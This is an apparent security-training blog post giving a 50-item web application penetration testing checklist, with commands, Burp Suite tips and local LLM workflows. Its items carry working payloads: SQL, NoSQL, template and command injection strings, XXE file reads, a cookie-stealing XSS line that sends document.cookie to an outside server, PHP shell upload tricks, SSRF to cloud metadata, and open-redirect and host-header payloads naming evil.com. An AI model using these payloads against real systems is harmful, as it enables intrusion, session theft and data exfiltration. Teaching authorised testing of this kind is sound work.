If you have ever sat down to test a web application and felt that creeping anxiety of not knowing where to start, or worse, finishing an engagement and realizing you missed something obvious, this post is for you. Web application penetration testing is not a linear process. It is messy, contextual, and deeply dependent on the application you are testing. But having a structured checklist keeps you grounded without turning you into a box-checker.
This is not a generic OWASP rehash. This is a working checklist, the kind that comes from real engagements, late nights, and a lot of frustration-turned-learning. Whether you are preparing for a client engagement or sharpening your skills at Redfox Cybersecurity Academy, this guide will give you 50 concrete things to cover, with commands, Burp Suite tips, and local LLM integration where it actually helps.
Let us get into it.
Before touching the application, map the perimeter. Use amass and subfinder together for better coverage.
amass enum -passive -d target.com -o amass_out.txt
subfinder -d target.com -silent -o subfinder_out.txt
cat amass_out.txt subfinder_out.txt | sort -u | tee all_subdomains.txt
[cta]
Look for SPF misconfigurations, dangling CNAMEs, and zone transfer vulnerabilities.
dig axfr @ns1.target.com target.com
dnsx -l all_subdomains.txt -a -cname -mx -txt -o dns_records.txt
[cta]
Identify the stack before you start poking at it.
whatweb -a 3 https://target.com
wappalyzer-cli https://target.com
[cta]
Use Burp Suite's built-in passive scanner here too. Every response header tells a story. Look at X-Powered-By, Server, X-Generator, and cookie name conventions like PHPSESSID or JSESSIONID.
Modern apps leak a surprising amount through their JS bundles.
gau target.com | grep "\.js$" | tee js_files.txt
cat js_files.txt | xargs -I{} curl -sk {} | grep -Eo "(api|endpoint|secret|key|token|password)[^\"']*"
[cta]
Pair this with LinkFinder for endpoint extraction:
python3 linkfinder.py -i https://target.com/static/app.bundle.js -o cli
[cta]
site:target.com ext:env OR ext:log OR ext:sql
site:target.com inurl:admin OR inurl:dashboard OR inurl:api
site:target.com "index of" OR "directory listing"
[cta]
Timing differences and error message variations are your best friends here. Use ffuf with a timing-aware approach:
ffuf -w usernames.txt -X POST -d "username=FUZZ&password=invalid" \
-u https://target.com/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-mr "Invalid password" -t 1
[cta]
In Burp Suite, use the Intruder with a "Sniper" attack, set your payload to a username list, and use the "Response Grep" feature to differentiate between "user not found" and "invalid password" messages.
Try submitting passwords like a, 1, and empty strings. A weak policy is a finding by itself. Document what the minimum accepted password is.
Test whether account lockout works, and then try to bypass it:
# Try rotating IPs using X-Forwarded-For header spoofing
ffuf -w passwords.txt -X POST \
-d "username=admin&password=FUZZ" \
-u https://target.com/login \
-H "X-Forwarded-For: 10.0.0.FUZZ2" \
-w2 ips.txt \
-mode clusterbomb
[cta]
Test for OTP reuse, OTP leakage in response bodies, and lack of rate limiting on OTP submission. Also test whether MFA is enforced server-side or only in the front end.
In Burp Suite, intercept the MFA submission request and replay it with a previously used OTP code to check for reuse vulnerability.
# Decode and inspect
jwt_tool eyJhbGci... -t
# Test algorithm confusion (RS256 to HS256)
jwt_tool eyJhbGci... -X a
# Test none algorithm
jwt_tool eyJhbGci... -X n
[cta]
Look for JWTs signed with weak secrets and crack them:
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
[cta]
Change object IDs in requests and observe whether access is enforced. Test GUIDs by predicting patterns or substituting values from another account.
In Burp Suite, use the "Authorize" extension. Log in with a low-privilege user and copy session cookies into Authorize. Browse as a high-privilege user and watch the extension automatically replay each request using the low-privilege session.
Test whether a regular user can access admin-only API endpoints by modifying request paths or role parameters in JWTs and cookies.
curl -sk https://target.com/api/v1/admin/users \
-H "Authorization: Bearer <regular_user_jwt>"
[cta]
# Fuzz numeric IDs in file endpoints
ffuf -w ids.txt -u "https://target.com/download?file_id=FUZZ" \
-H "Cookie: session=<your_token>" \
-mc 200 -fs 0
[cta]
GET /api/account?user_id=attacker_id&user_id=victim_id
[cta]
Some parsers take the first, some the last. Test both.
If you are looking for structured training on authorization flaws and how they manifest in real applications, Redfox Cybersecurity Academy covers IDOR and broken access control in dedicated lab-based modules.
Use sqlmap with caution and only on explicitly in-scope targets. Pair it with manual confirmation.
sqlmap -u "https://target.com/items?id=1" \
--level=5 --risk=3 \
--batch --random-agent \
--tamper=space2comment,between \
-p id
[cta]
In Burp Suite, use the "Scan" feature on specific parameters after you have identified potentially injectable inputs through manual testing. Right-click the request and select "Scan" with a configured active scan policy.
' AND SLEEP(5)--
' AND 1=(SELECT 1 FROM (SELECT SLEEP(5))a)--
1; WAITFOR DELAY '0:0:5'--
[cta]
# MongoDB injection via JSON body
curl -sk -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
[cta]
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
[cta]
If you get 49 back, escalate to RCE:
# Jinja2 RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Twig RCE
{{["id"]|filter("system")}}
[cta]
; id
| id
`id`
$(id)
& id &
[cta]
Always test both GET and POST parameters, HTTP headers like User-Agent and Referer, and file upload file names.
*)(uid=*))(|(uid=*
admin)(&)
[cta]
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
[cta]
For blind XXE, use an out-of-band channel:
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://your-collaborator.com/xxe">
%xxe;
]>
[cta]
Use Burp Collaborator to catch the DNS or HTTP callback.
# Use dalfox for automated XSS discovery
dalfox url "https://target.com/search?q=FUZZ" \
--cookie "session=abc123" \
--skip-bav \
--output reflected_xss.txt
[cta]
Test every user-controlled storage point: profile fields, comments, ticket descriptions, file names on upload. Use unique markers to trace where your input surfaces:
<img src=x onerror="fetch('https://your.server/?c='+document.cookie)">
[cta]
Look at JS code for dangerous sinks:
document.write()
innerHTML
eval()
location.href
document.URL
[cta]
Use Burp Suite's DOM Invader extension. It automatically injects canary tokens and watches for them landing in dangerous sinks.
Inspect the Content-Security-Policy header and look for:
curl -sk -I https://target.com | grep -i "content-security-policy"
[cta]
Intercept purchase requests and tamper with price values. Test negative quantities, zero-value items, and floating-point edge cases.
Try applying the same coupon multiple times in parallel requests (race condition), applying expired coupons, and chaining multiple coupons.
Attempt to skip steps in multi-step processes by replaying later-stage requests. For example, jump directly to the order confirmation endpoint without completing payment.
Send unexpected parameters in registration or update requests:
curl -X POST https://target.com/api/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Test123","role":"admin","is_verified":true}'
[cta]
Use Burp Suite's "Turbo Intruder" extension with the race.py template to send simultaneous requests:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=True)
for i in range(30):
engine.queue(target.req, str(i))
def handleResponse(req, interesting):
if req.status == 200:
table.add(req)
[cta]
This is the kind of nuanced, high-value testing that separates professional testers from script-runners. The team at Redfox Cybersecurity regularly uncovers critical business logic flaws in real-world assessments.
# Upload a PHP shell with disguised extension
mv shell.php shell.php.jpg
# Try double extension
cp shell.php shell.jpg.php
# Try null byte (legacy apps)
# shell.php%00.jpg
[cta]
Test MIME type spoofing by changing Content-Type to image/jpeg in Burp Suite while keeping the PHP content.
Use file names like:
../../../etc/cron.d/shell
../../var/www/html/shell.php
[cta]
Create a malicious zip archive where file paths contain traversal sequences:
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip', 'w') as z:
z.write('/etc/passwd', arcname='../../etc/passwd')
"
[cta]
# Fuzz for undocumented endpoints
ffuf -w api_wordlist.txt \
-u https://target.com/api/v1/FUZZ \
-H "Authorization: Bearer <token>" \
-mc 200,201,301,302,403 \
-o api_endpoints.json
[cta]
Also look at the Swagger/OpenAPI spec if it is exposed:
curl -sk https://target.com/api/swagger.json
curl -sk https://target.com/api-docs
curl -sk https://target.com/openapi.yaml
# Run introspection query
curl -sk -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name fields { name } } } }"}'
# Look for sensitive mutations
graphw00f -t https://target.com/graphql
[cta]
Test whether endpoints respond to unexpected methods:
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do
echo -n "$method: "
curl -sk -X $method https://target.com/api/v1/users -o /dev/null -w "%{http_code}\n"
done
[cta]
For large API surface areas, processing hundreds of responses manually is tedious. Running a local LLM helps you flag anomalies, extract sensitive data patterns, and suggest follow-up tests without sending client data to external services.
Set up Ollama with a capable model:
# Install Ollama
curl -fsSL https://ollama.com/install.sh | sh
# Pull a code-aware model
ollama pull llama3
# Serve it locally
ollama serve
[cta]
Then pipe captured API responses into it:
cat burp_responses.txt | ollama run llama3 \
"Analyze these API responses for: sensitive data exposure, authentication tokens, internal IPs, stack traces, and IDOR patterns. Output findings as a bullet list."
[cta]
You can also write a lightweight Python wrapper that feeds Burp Suite export files to the local model:
import requests, json
def analyze_with_llm(response_text):
payload = {
"model": "llama3",
"prompt": f"""You are a web application security analyst.
Analyze the following HTTP response for security issues:
- Sensitive data exposure
- Internal infrastructure leakage
- Authentication tokens or API keys
- Verbose error messages
- IDOR indicators
Response:
{response_text}
Provide concise, actionable findings.""",
"stream": False
}
r = requests.post("http://localhost:11434/api/generate", json=payload)
return r.json()["response"]
with open("burp_export.txt") as f:
responses = f.read().split("====")
for resp in responses:
if len(resp.strip()) > 50:
print(analyze_with_llm(resp))
print("---")
[cta]
This setup keeps all client data on your local machine, which is critical for professional engagements with data handling agreements. The Redfox Cybersecurity Academy covers local LLM-assisted security workflows in its advanced API testing modules.
Collect multiple session tokens and analyze for patterns:
# Collect tokens
for i in {1..50}; do
curl -sk -X POST https://target.com/login \
-d "user=test$i&pass=Test123" \
-c /dev/null -D - | grep "Set-Cookie"
done | grep -oP 'session=\K[^;]+' > tokens.txt
# Analyze entropy
python3 -c "
import math, collections
tokens = open('tokens.txt').read().splitlines()
for t in tokens[:5]:
freq = collections.Counter(t)
entropy = -sum((c/len(t)) * math.log2(c/len(t)) for c in freq.values())
print(f'{t[:20]}... entropy: {entropy:.2f}')
"
[cta]
Check whether the session token changes after login. Send a pre-authentication session token in the login request and confirm whether the same token is retained post-authentication.
Every session cookie should have HttpOnly, Secure, and SameSite=Strict. Absence of any of these is a finding:
curl -sk -I https://target.com/login | grep -i "set-cookie"
[cta]
Test any parameter that takes a URL:
# Internal cloud metadata (AWS)
curl -sk "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
# Internal network probing
ffuf -w ports.txt -u "https://target.com/fetch?url=http://127.0.0.1:FUZZ" \
-mc 200 -fs 0
[cta]
Use Burp Collaborator to detect blind SSRF:
# Replace collaborator URL with your instance
curl -sk "https://target.com/webhook?url=https://YOUR_COLLABORATOR_SUBDOMAIN.burpcollaborator.net"
http://0x7f000001/ # Hex encoding of 127.0.0.1
http://017700000001/ # Octal
http://127.1/ # Short form
http://[::1]/ # IPv6 localhost
http://localtest.me/ # DNS resolves to 127.0.0.1
http://127.0.0.1.nip.io/ # Wildcard DNS
[cta]
testssl.sh --full --json --jsonfile tls_results.json https://target.com
# Quick check for weak ciphers
nmap --script ssl-enum-ciphers -p 443 target.com
[cta]
Look for: SSLv3, TLS 1.0, RC4, export-grade ciphers, missing HSTS, and self-signed certificates.
curl -sk -I https://target.com | grep -iE \
"(strict-transport|x-frame|x-content-type|content-security|referrer-policy|permissions-policy)"
[cta]
Use Redfox Cybersecurity for comprehensive security posture assessments that include transport-layer and header analysis as part of the engagement scope.
ffuf -w backup_extensions.txt \
-u https://target.com/FUZZ \
-w2 filenames.txt \
-mode clusterbomb \
-mc 200
[cta]
Common backup file patterns to fuzz:
index.php.bak
config.php~
.env.backup
web.config.old
database.yml.bak
settings.py.orig
[cta]
git-dumper https://target.com/.git ./dumped_repo
cd dumped_repo && git log --oneline
git show HEAD~5:config/database.php
[cta]
Trigger errors intentionally with malformed input. Look for:
ffuf -w redirect_payloads.txt \
-u "https://target.com/redirect?next=FUZZ" \
-mc 301,302 \
-fr "target\.com"
[cta]
Common payloads:
//evil.com
/\/evil.com
https://evil.com
https://target.com@evil.com
javascript:alert(1)
[cta]
curl -sk https://target.com/ -H "Host: evil.com" -H "X-Forwarded-Host: evil.com"
curl -sk https://target.com/reset-password \
-H "Host: evil.com" \
-d "email=victim@target.com"
[cta]
Password reset links generated server-side using the Host header are a classic host header injection vector.
Use Burp Suite's HTTP Request Smuggler extension or smuggler.py:
python3 smuggler.py -u https://target.com -l 2
[cta]
Manual CL.TE detection:
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
[cta]
If the server responds with a timeout or returns a 400-class error with an unusual body, you likely have a desync candidate worth pursuing.
Across all 50 items above, Burp Suite remains the central tool. Here is how professionals actually use it beyond the basics.
Scope Management: Always define your scope before starting. Use regex-based scope rules under Target > Scope. This prevents accidental out-of-scope requests and keeps your proxy history clean.
Session Handling Rules: For authenticated testing, configure session handling rules under Project Options > Sessions. Pair them with a macro that logs in and refreshes the session token automatically, so your scans do not fail due to expired sessions.
Extensions to Install from BApp Store:
Param Miner Usage:
Right-click any request in Burp Suite and select Extensions > Param Miner > Guess params. This brute-forces hidden GET and POST parameters, header injections, and cache poisoning vectors.
If you want to build real proficiency with Burp Suite in a hands-on environment, Redfox Cybersecurity Academy offers lab-intensive courses that go from Burp basics to advanced active scanning configurations used in professional engagements.
Beyond API response analysis covered in item 37, local LLMs are useful for several other testing workflows.
Generating Context-Aware Payloads
When you understand the tech stack (from fingerprinting in steps 3 and 4), you can ask the model to generate targeted payloads:
ollama run llama3 "Generate 20 SSTI payloads specifically for Jinja2 templates running on Python 3. Include payloads that bypass common WAF rules by using attribute access instead of brackets. Format as a plain list."
[cta]
Reviewing Source Code for Vulnerabilities
If the application has exposed source or you have obtained it through a git dump, feed it to a local model:
cat dumped_repo/app/routes.py | ollama run llama3 \
"Review this Python Flask route code for: SQL injection, insecure deserialization, path traversal, and hardcoded credentials. Provide line numbers and severity."
[cta]
Automating Report Drafting
cat raw_findings.txt | ollama run llama3 \
"Format these raw security findings into a professional penetration test report format. For each finding include: Title, Severity (CVSS-based), Description, Evidence, Impact, and Remediation. Use formal language."
[cta]
This keeps your proprietary client data local and off third-party cloud services.
Fifty items is a lot. You will not always cover all of them on every engagement, and that is fine. The goal of a checklist is not to make testing mechanical. It is to make sure you are intentional about coverage and do not let fatigue or tunnel vision cause you to miss something obvious.
The best testers internalize these categories and then adapt to what the application is actually doing. They notice things that do not feel right, follow threads, and go deeper than any checklist can prescribe. That intuition comes from doing this repeatedly and learning from each engagement.
If you want to build that intuition faster, structured practice in realistic lab environments matters a lot. Redfox Cybersecurity Academy is built around exactly that approach, with courses that prioritize real-world application over theory.
For organizations looking to assess their web application security posture with the depth this checklist represents, the Redfox Cybersecurity assessment team conducts manual-led web application and API penetration tests that go well beyond automated scanning.
Test smart. Test deep. And document everything.